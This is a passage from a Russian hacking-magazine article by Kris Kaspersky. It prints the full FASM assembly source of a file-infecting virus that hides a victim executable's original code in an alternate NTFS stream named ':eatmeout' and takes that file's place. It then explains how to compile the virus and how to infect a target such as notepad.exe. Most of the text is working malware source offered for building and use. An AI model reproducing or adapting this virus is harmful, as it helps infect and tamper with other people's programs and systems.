EXE в заложниках Крис Касперски ака мыщъх Хакер, номер #077, стр. 077-116-3 section '.code' code readable executable start: ; удаляем временный файл push godown call [DeleteFile] ; определяем наше имя push 1000 push buf push 0 call [GetModuleFileName] ; считываем командную строку ; ключ --* filename - заразить call [GetCommandLine] mov ebp,eax xor ebx,ebx mov ecx, 202A2D2Dh ; rool: cmp [eax], ecx ; это '--*'? jz infect inc eax cmp [eax], ebx ; конец командной строки? jnz rool ; выводим диагностическое сообщение, ; подтверждая свое присутствие в файле push 0 push aInfected push aHello push 0 call [MessageBox] ; добавляем к своему имени имя NTFS-потока mov esi, code_name mov edi, buf mov ecx, 100; code_name_end - code_name xor eax,eax repne scasb dec edi rep movsb ; запускам NTFS-поток на выполнение push xxx push xxx push eax push eax push eax push eax push eax push eax push ebp push buf call [CreateProcess] jmp go2exit ; выходим из вируса infect: ; устанавливаем eax на первый символ имени файла-жертвы ; (далее по тексту dst) add eax, 4 xchg eax, ebp xor eax,eax inc eax ; тут не помешает вставить проверку dst на заражение ; переименовываем dst в godown push godown push ebp call [RenameFile] ; копируем в godown основной поток dst push eax push ebp push buf call [CopyFile] ; добавляем к своему имени имя NTFS-потока mov esi, ebp mov edi, buf copy_rool: lodsb stosb test al,al jnz copy_rool mov esi, code_name dec edi copy_rool2: lodsb stosb test al,al jnz copy_rool2 ; копируем godown в dst:eatout push eax push buf push godown call [CopyFile] ; тут не помешает добавить коррекцию длины заражаемого файла, ; удаляем godown push godown call [DeleteFile] ; выводим диагностическое сообщение, ; подтверждающие успешность заражения файла push 0 push aInfected push ebp push 0 call [MessageBox] ; выход из вируса go2exit: push 0 call [ExitProcess] section '.data' data readable writeable godown db "godown",0 ; имя временного файла code_name db ":eatmeout",0 ; имя потока, в котором будет… code_name_end: ; …сохранено основное тело ; различные текстовые строки, выводимые вирусом aInfected db "Файл успешно заражен",0 aHello db "Ты запустил зараженный файл! Ха-ха.", 0 ; различные буфера для служебных целей buf rb 1000 xxx rb 1000 Полная версия сорцов лежит на диске в файле xcode.asm. [компиляция и испытания вируса] Для компиляции вирусного кода нам понадобится транслятор FASM, последнюю Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, поскольку используют совсем другой ассемблерный синтаксис. Берем компилятор (с CD\DVD или с сайта), распаковываем архив и набираем "fasm.exe xcode.asm" в командной строке. Если все сделано правильно, на диске должен образоваться файл xcode.exe. Запустим его на выполнение с ключом "--*" и именем предполагаемой жертвы. К примеру, если мы заражаем notepad.exe, должно выйти: "xcode.exe --* notepad.exe". Об успешном заражении будет свидетельствовать соответствующее сообщение. Если сообщения нет, это значит, что у нас ничего не получилось. Обычно это происходит из-за того, что у нас нет прав доступа к файлу, а захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока. |